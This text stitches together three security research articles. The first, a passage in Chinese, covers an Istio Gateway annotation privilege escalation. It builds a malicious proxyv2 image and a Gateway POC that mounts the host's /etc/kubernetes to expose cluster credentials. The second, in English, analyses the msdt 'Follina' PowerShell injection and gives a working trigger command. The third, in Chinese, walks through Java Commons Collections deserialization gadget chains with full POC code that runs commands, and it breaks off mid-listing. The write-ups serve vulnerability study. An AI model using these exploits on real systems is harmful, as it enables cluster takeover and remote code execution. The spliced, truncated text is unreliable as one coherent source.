那么这个 tmplStr 到底来自何方呢，实际上 istio 在初始化时将其存储在 configmap 中，我们可以通过运行 `kubectl
describe cm -n istio-system istio-sidecar-injector` 来获取模版文件，sidecar
的模版有一些点非常值得注意，很多敏感值都是取自 annotation
有经验的研究者看到下面 userVolume 就可以猜到大概通过什么操作来完成攻击了。
sidecar.istio.io/proxyImage
sidecar.istio.io/userVolume
sidecar.istio.io/userVolumeMount
## gateway deployment controller 注解传递
分析官方公告里的缓解建议，其中有一条就是将 `PILOT_ENABLE_GATEWAY_API_DEPLOYMENT_CONTROLLER` 环境变量置为
false ，然后结合另一条建议删除 `gateways.gateway.networking.k8s.io` 的 crd，所以大概率漏洞和创建
gateways 资源有关，翻了翻官方手册注意到了这句话如下图所示，`Gateway` 资源的注解将会传递到 `Service` 及
`Deployment` 资源上。
有了传递这个细节，我们就能对得上漏洞利用的条件了，需要具备 `gateways.gateway.networking.k8s.io` 资源的
`CREATE` 权限，接着我们来分析一下 gateway 是如何传递 annotations 和 labels 的，其实大概也能想到还是利用 go
template 对内置的 template 进行渲染，直接分析 `configureIstioGateway`
函数(pilot/pkg/config/kube/gateway/deploymentcontroller.go) ，其主要功能就是把 gateway
需要创建的 `Service` 及 `Deployment` 按照 `embed.FS`
中的模版进行一个渲染，模版文件可以在(pilot/pkg/config/kube/gateway/templates/deployment.yaml)找到，分析模版文件也可以看到
template 中的 annotations 也是从上层的获取传递过来的注解。toYamlMap 可以将 maps 进行合并，注意观察 `(strdict
"inject.istio.io/templates" "gateway")` 位于 `.Annotations` 前，所以这个点我们可以通过控制
gateway 的注解来覆盖 templates 值选择渲染的模版。
apiVersion: apps/v1
kind: Deployment
metadata:
annotations:
{{ toYamlMap .Annotations | nindent 4 }}
labels:
{{ toYamlMap .Labels
(strdict "gateway.istio.io/managed" "istio.io-gateway-controller")
| nindent 4}}
name: {{.Name}}
namespace: {{.Namespace}}
ownerReferences:
- apiVersion: gateway.networking.k8s.io/v1alpha2
kind: Gateway
name: {{.Name}}
uid: {{.UID}}
spec:
selector:
matchLabels:
istio.io/gateway-name: {{.Name}}
template:
metadata:
annotations:
{{ toYamlMap
(strdict "inject.istio.io/templates" "gateway")
.Annotations
| nindent 8}}
labels:
{{ toYamlMap
(strdict "sidecar.istio.io/inject" "true")
(strdict "istio.io/gateway-name" .Name)
.Labels
| nindent 8}}
## 漏洞利用
掌握了漏洞利用链路上的细节，我们就可以理出整个思路，创建精心构造过注解的 Gateway 资源及恶意的 proxyv2 镜像，“迷惑”控制器创建非预期的
pod 完成对 Host 主机上的敏感文件进行访问， 如 docker unix socket。
**漏洞环境:**
istio v1.12.2 kubernetes v1.20.14 kubernetes gateway-api v0.4.0 用下面的命令创建一个
write-only 的 角色，并初始化 istio
curl -L https://istio.io/downloadIstio | ISTIO_VERSION=1.12.2 TARGET_ARCH=x86_64 sh - istioctl x precheck
istioctl install --set profile=demo -y
kubectl create namespace istio-ingress
kubectl create -f - << EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: gateways-only-create
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gateways"]
verbs: ["create"]
--- apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-gateways-only-create
subjects:
- kind: User
name: test
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: gateways-only-create
apiGroup: rbac.authorization.k8s.io
EOF
在利用漏洞之前，我们需要先制作一个恶意的 docker 镜像，我这里直接选择了 proxyv2 镜像作为目标镜像，替换其中的
`/usr/local/bin/pilot-agent` 为 bash 脚本，在 tag 一下 push 到本地的 registry 或者
[docker.io](http://docker.io) 都可以。
docker run -it --entrypoint /bin/sh istio/proxyv2:1.12.1
cp /usr/local/bin/pilot-agent /usr/local/bin/pilot-agent-orig
cat << EOF > /usr/local/bin/pilot-agent
#!/bin/bash
echo $1
if [ $1 != "istio-iptables" ]
then
touch /tmp/test/pwned
ls -lha /tmp/test/*
cat /tmp/test/*
fi
/usr/local/bin/pilot-agent-orig $*
EOF
chmod +x /usr/local/bin/pilot-agent
exit
docker tag 0e87xxxxcc5c xxxx/proxyv2:malicious
commit 之前记得把 image 的 entrypoint 改为 `/usr/local/bin/pilot-agent`
接着利用下列的命令完成攻击，注意我覆盖了注解中的 `inject.istio.io/templates` 为 sidecar 使能让 k8s
controller 在创建 pod 任务的时候，让其注解中的 `inject.istio.io/templates` 也为 sidecar，这样
istiod 的 inject webhook 就会按照 sidecar 的模版进行渲染 pod 资源文件，
`sidecar.istio.io/userVolume` 和 `sidecar.istio.io/userVolumeMount` 我这里挂载了
`/etc/kubernetes` 目录，为了和上面的恶意镜像相辅相成， POC 的效果就是直接打印出 Host 中 `/etc/kubernetes`
目录下的凭证及配置文件，利用 kubelet 的凭证或者 admin token 就可以提权完成接管整个集群，当然你也可以挂载 docker.sock
可以做到更完整的利用。
kubectl --as test create -f - << EOF
apiVersion: gateway.networking.k8s.io/v1alpha2
kind: Gateway
metadata:
name: gateway
namespace: istio-ingress
annotations:
inject.istio.io/templates: sidecar
sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious
sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'
sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'
spec:
gatewayClassName: istio
listeners:
- name: default
hostname: "*.example.com"
port: 80
protocol: HTTP
allowedRoutes:
namespaces:
from: All
EOF
创建完 Gateway 后 istiod inject webhook 也按照我们的要求创建了 pod
deployments 最终被渲染如下:
apiVersion: apps/v1
kind: Deployment
metadata:
annotations:
deployment.kubernetes.io/revision: "1"
inject.istio.io/templates: sidecar
[...]
sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious
sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'
sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'
generation: 1
labels:
gateway.istio.io/managed: istio.io-gateway-controller
name: gateway
namespace: istio-ingress
spec:
progressDeadlineSeconds: 600
replicas: 1
revisionHistoryLimit: 10
selector:
matchLabels:
istio.io/gateway-name: gateway
strategy:
rollingUpdate:
maxSurge: 25%
maxUnavailable: 25%
type: RollingUpdate
template:
metadata:
annotations:
inject.istio.io/templates: sidecar
[...]
sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious
sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'
sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'
creationTimestamp: null
labels:
istio.io/gateway-name: gateway
sidecar.istio.io/inject: "true"
spec:
containers:
- image: auto
imagePullPolicy: Always
name: istio-proxy
ports:
- containerPort: 15021
name: status-port
protocol: TCP
readinessProbe:
failureThreshold: 10
httpGet:
path: /healthz/ready
port: 15021
scheme: HTTP
periodSeconds: 2
successThreshold: 1
timeoutSeconds: 2
resources: {}
securityContext:
allowPrivilegeEscalation: true
capabilities:
add:
- NET_BIND_SERVICE
drop:
- ALL
readOnlyRootFilesystem: true
runAsGroup: 1337
runAsNonRoot: false
runAsUser: 0
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
dnsPolicy: ClusterFirst
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
terminationGracePeriodSeconds: 30
攻击效果，成功在 `/tmp/test` 目录下挂载 kubernetes 目录，可以看到 apiserver 的凭据
## 总结
虽然 John Howard 与我友好沟通时，反复询问我这和用户直接创建 pod 有何区别？但我觉得整个利用过程也不失为一种新的特权提升的方法。
随着 kubernetes 各种新的 api 从 SIG
孵化出来以及更多新的云原生组件加入进来，在上下文传递的过程中难免会出现这种曲线救国权限溢出的漏洞，我觉得各种云原生的组件 controller
也可以作为重点的审计对象。
实战这个案例有用吗？要说完全能复现这个漏洞的利用过程我觉得是微乎其微的，除非在 infra 中可能会遇到这种场景，k8s 声明式的 api 配合海量组件
watch 资源的变化引入了无限的可能，或许实战中限定资源的读或者写就可以转化成特权提升漏洞。
## 参考
1. <https://gateway-api.sigs.k8s.io/>
2. <https://istio.io/latest/docs/reference/config/annotations/>
3. <https://istio.io/latest/news/security/istio-security-2022-002/>
4. <https://istio.io/latest/docs/tasks/traffic-management/ingress/gateway-api/>
* * * | 社区文章 |
**Author: HuanGMz@Knownsec 404 Team**
**Chinese version:<https://paper.seebug.org/1913/>**
## 1\. WTP
doc：<https://docs.microsoft.com/en-us/previous-versions/windows/desktop/wintt/windows-troubleshooting-toolkit-portal>
> Windows Troubleshooting Platform (WTP) provides ISVs, OEMs, and
> administrators the ability to write troubleshooting packs that are used to
> discover and resolve issues found on the computer
WTP provides an automated way to troubleshoot/fix.
**WTP architecture：**
The above figure shows the underlying structure of WTP:
* WTP consists of two processes, Process 1 is the Troubleshooting Run-time Engine with UI and Process 2 is used to provide Windows PowerShell Runtime environment.
* The PowerShell runtime environment provided by Process 2 provides 4 special PowerShell commands: Get-DiagInput, Update-DiagReport, Update-DiagRootCause, Write-DiagProgress.
* The Troubleshooting Pack runs on the platforms Process 1 and Process 2 are built on.
Troubleshooting packages are user-programmable parts, which are essentially a
set of detection/fix scripts for specific faults. Process1's Troubleshooting
Run-time Engine takes the troubleshooting scripts from the troubleshooting
package and gives them to Process2 to run. The special PowerShell runtime
environment in Process2 provides 4 dedicated commands for use by scripts in
the troubleshooting package.
The design of the troubleshooting package is based on three steps:
troubleshooting, resolution and verification, corresponding to three scripts:
TS_, RS_, VF_.
Actually Process 1 is msdt.exe and Process 2 is sdiagnhost.exe. In order to
provide msdt.exe with the ability to run scripts, sdiagnhost.exe registers the
IScriptedDiagnosticHost com interface, and the corresponding com method is:
RunScript().
WTP also provides a set of default troubleshooting packages that can be
specified via the -id parameter in the ms-msdt protocol. PCWDiagnostic used in
this vulnerability is one of them, for troubleshooting program compatibility.
## 2\. Vulnerability recurrence and debugging methods
**Vulnerability recurrence ：**
The vulnerability can be triggered in the form of doc or rtf document, but for
the convenience of debugging, we directly use the msdt.exe command to trigger:
C:\Windows\system32\msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=fff$(IEX('mspaint.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe "
Use the above command in **cmd** to trigger the exploit (don't use powershell
directly).
**Vulnerability debugging：**
The mspaint.exe process is created under sdiagnhost.exe, and the PowerShell
Runtime is implemented by c#. Although sdiagnhost.exe is an unmanaged program,
we can still use dnspy for .net debugging.
Set the environment variables required for dnspy debugging:
COMPlus_ZapDisable=1
COMPlus_ReadyToRun=0
Create a sdiagnhost.exe key under the
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\" registry path, and create a Debugger string under this key
with the value of the dnspy path.
Use the above command to trigger the exploit. Then you will see dnspy called,
but in a state where debugging has not started. At this point, we need to
manually click "Start" above to start debugging.
Set a breakpoint in the Microsoft.Windows.Diagnosis.ManagedHost.RunScript()
method in Microsoft.Windows.Diagnosis.SDHost.dll. This method implements the
RunScript() method in the IScriptedDiagnosticHost com interface and is used to
provide msdt.exe with the PowerShell runtime environment required to execute
the troubleshooting script. Then retrigger the vulnerability to break here.
The RunScript() method is triggered twice, the first time is used to call the
TS script, the second time is used to call the RS script, and the second time
has parameters.
## 3.Vulnerability causes and trigger conditions
Essentially this is a PowerShell code injection vulnerability.
ManagedHost.RunScript() uses the PowerShell.AddScript() method to add commands
to be executed, and part of the text is controllable (parameters part). This
is a classic PowerShell code injection vulnerability. Using AddScript() will
cause the $ character in text to be parsed (preferably as a subexpression
operator) when called.
Something like this:
PowerShell powerShellCommand = PowerShell.Create();
powerShellCommand.AddScript("ls -test $(iex('mspaint.exe'))");
var result = powerShellCommand.Invoke();
In fact the vulnerability is triggered by the second call to RunScript(). The
corresponding text is:
@"& ""C:\Users\MRF897~1.WAN\AppData\Local\Temp\SDIAG_d89d16cb-49d3-48ef-bea4-daebc1919abb\RS_ProgramCompatibilityWizard.ps1"" -TargetPath ""h$(IEX('mspaint.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"" -AppName ""mpsigstub"""
We can see that the string passed to AddScript() is not filtered for the $
symbol, which leads to code injection.
**Triggering conditions：**
In order to successfully trigger the call to
RS_ProgramCompatibilityWizard.ps1, it must first pass the detection of the
TS_ProgramCompatibilityWizard.ps1 script.
Observe the code of the TS_ProgramCompatibilityWizard.ps1 script:
The Get-DiagInput command is one of the four special commands provided by the
WTP PowerShell Runtime we mentioned earlier, which is used to obtain input
information from the user. Here we get the IT_BrowseForFile parameter we
passed in and assign it to the $selectedProgram variable.
Then call the Test-Selection method to test $selectedProgram:
The function first uses the test-path command to detect the path to ensure
that the path exists. Then the extension of the path is required to be exe or
msi.
But test-path will return True for paths beyond the root using \\..\, such as
the following:
Here it starts with \, which means the root directory of the current drive
letter. \\..\ exists, so \\..\\..\ is out of scope and returns true. Like
c:\\..\\..\hello.exe. If it starts with a normal character like the original
payload, considering the temporary directory where the
TS_ProgramCompatibilityWizard.ps1 script is located, and the normal character
occupies one level, at least 9 \\..\ are required.
Then extract the filename from $selectedProgram and filter the $ sign to
prevent code injection. But this line of code is actually wrong. The correct
way to write it is as follows:
$appName = [System.IO.Path]::GetFileNameWithoutExtension($selectedProgram).Replace("`$", "``$")
Since the original script uses "$" directly, the "$" will actually be parsed
by the PowerShell engine before being passed to Replace. So it can't match out
the $ character.
At the end of the TS script, the Update-DiagRootCause command is used, which
is also one of the 4 special commands used to report the status of the root
cause. The comment says that this command will trigger the invocation of the
RS_ script, and the dictionary specified by -parameter will be passed to the
script as a parameter. This causes the RunScript() method to be called a
second time, and the -TargetPath in the parameter is controllable, which
triggers the vulnerability.
## References：
<https://docs.microsoft.com/en-us/previous-versions/windows/desktop/wintt/windows-troubleshooting-toolkit-portal>
* * * | 社区文章 |
# 前言
整理了一下之前的笔记，文中不对一些前置知识进行科普，如`javassist`、动态代理等，如果不了解的同学可以自行百度哈。
# 分析
## CommonsCollections1
ysoserial给出调用栈如下：
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
我们先从最底下调用`Runtime.exec`的地方开始，跟进`org.apache.commons.collections.functors.InvokerTransformer#transform`，可以看到有反射的调用，所以我们需要寻找对此方法调用的地方
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
跟进`org.apache.commons.collections.functors.ChainedTransformer#transform`此处的`iTransformers`我们可以在`ChainedTransformer`实例化的时候传进去，进而可以达到调用`org.apache.commons.collections.functors.InvokerTransformer#transform`的目的
private final Transformer[] iTransformers;
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
//省略部分代码
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
跟进`org.apache.commons.collections.map.LazyMap#get`，此处的`this.factory`我们可以通过`org.apache.commons.collections.map.LazyMap#decorate`将我们的`org.apache.commons.collections.functors.ChainedTransformer`的实例传进去
protected final Transformer factory;
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = FactoryTransformer.getInstance(factory);
}
}
//省略部分代码
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
所以我们怎么样才能调用`org.apache.commons.collections.map.LazyMap#get`呢，看到`ysoserial`给调用栈，跟进`sun.reflect.annotation.AnnotationInvocationHandler#invoke`，可以看到此处的`memberValues`为一个Map，且`invoke`方法中有`this.memberValues.get(var4)`，也就是说我们可以通过`invoke`调用到`org.apache.commons.collections.map.LazyMap#get`
private final Map<String, Object> memberValues;
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
//省略部分代码
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
怎么样才能触发invoke方法呢，回到最初触发反序列化的地方`sun.reflect.annotation.AnnotationInvocationHandler#readObject`，可以看到`this.memberValues.entrySet().iterator()`，如果此处的`this.memberValues`是通过动态代理构建的，那么当`this.memberValues`进行方法调用时是使用代理类的invoke方法进行调用的，并且`sun.reflect.annotation.AnnotationInvocationHandler#readObject`实现`InvocationHandler`接口，所以整个攻击链就行形成了（不得不佩服作者的Java功底Orz）
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
//省略部分代码
}
最终POC如下：
package CommonsCollections;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("test.out")));
objectOutputStream.writeObject(object);
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream("test.out"));
objectInputStream.readObject();
}
}
## CommonsCollections2
`ysoserial`的给出的调用链如下：
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
跟进`java.util.PriorityQueue#readObject`，可以看到将对象读取之后，会调用`java.util.PriorityQueue#heapify`对堆进行调整，在`heapify`处打一个断点对`ysoserial`进行调试
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
跟进`java.util.PriorityQueue#heapify`，其中`queue`数组为我们传入的`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`的实例
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
跟进`java.util.PriorityQueue#siftDown`，如果`comparator`不为空则使用自定义的`comparator`对元素进行筛选
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
跟进`java.util.PriorityQueue#siftDownUsingComparator`，可以看到这里使用了`comparator.compare`进行比较，此处的`comparator.compare`为`org.apache.commons.collections4.comparators.TransformingComparator#compare`
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
跟进`org.apache.commons.collections4.comparators.TransformingComparator#compare`，可以看到此处又是对`this.transformer.transform`调用
private final Transformer<? super I, ? extends O> transformer;
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
然后这里是通过`InvokerTransformer.transform`调用`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer`。
public O transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class<?> cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
跟进`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`的`newTransformer`方法，此处的`getTransletInstance`会获取我们传入的字节码的实例
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
跟进`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance`，此处的`_class`为空，会进入`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses`对`_class`进行一个赋值
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
跟进`defineTransletClasses`，可以看到循环那里将`_bytecodes（也就是我们构造的恶意字节码）`通过`Classloader`加载之后传给`_class`
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
//省略部分代码
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]); //通过loader将字节码动态构建类到_class中
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
//省略部分代码
}
//省略部分代码
}
然后回到`getTransletInstance`中`AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].newInstance()`此处对我们恶意字节码中的类进行了实例化，进而触发了RCE。
POC如下：
package CommonsCollections;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsCollections2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator=new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
## CommonsCollections3
`Commons Collections3`算是`Commons Collections1`和`Commons
Collections2`两个攻击链的结合吧，理解了1和2这个应该不难理解
2中是通过`InvokerTransformer`去触发`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`的`newTransformer`方法，而3是通过`InstantiateTransformer`实例化`com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter`触发构造方法进而触发`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`的`newTransformer`方法
跟进`InstantiateTransformer`的`transform`方法，可以看到`con.newInstance(this.iArgs)`，对`con`进行了一个实例化，也就是此处会对`com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter`进行一个实例化
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var6) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException var7) {
throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
} catch (IllegalAccessException var8) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
} catch (InvocationTargetException var9) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
}
}
跟进`com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter`构造方法，可以看到此处`_transformer
= (TransformerImpl)
templates.newTransformer()`触发了`TransformerImpl`的`newTransformer`方法，
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
然后触发`InstantiateTransformer`的`transform`方法和1一样也是通过动态代理的，这里就不多赘述了
POC如下：
package CommonsCollections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
